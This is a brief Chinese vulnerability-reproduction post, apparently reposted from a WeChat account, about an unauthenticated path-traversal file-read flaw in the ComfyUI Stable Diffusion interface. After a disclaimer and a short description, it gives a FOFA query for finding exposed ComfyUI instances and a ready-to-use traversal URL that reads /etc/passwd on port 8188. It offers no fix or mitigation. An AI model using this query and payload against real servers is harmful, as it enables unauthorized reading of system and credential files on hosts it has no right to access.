ComfyUI follow_symlinks存在文件读取漏洞

免责声明

本文所涉及的任何技术、信息或工具，仅供学习和参考之用。请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响，均由使用者个人承担责任，与本文作者无关。作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明，并承诺遵守相关法律法规和道德规范。

漏洞描述

ComfyUI 是 一个基于节点流程的 Stable Diffusion 操作界面,可以通过流程,实现了更加精准的工作流定制和完善的可复现性。2024年互联网上披露其存在文件读取漏洞，攻击者可在无需登陆的情况下读取遍历系统上的文件，造成敏感信息泄漏。

资产测绘

FOFA："ComfyUI" && title=="ComfyUI"

漏洞复现

http://ip:8188/../../../../../../../../../../../../../../etc/passwd

原文始发于微信公众号（漏洞文库）：【漏洞复现】ComfyUI follow_symlinks存在文件读取漏洞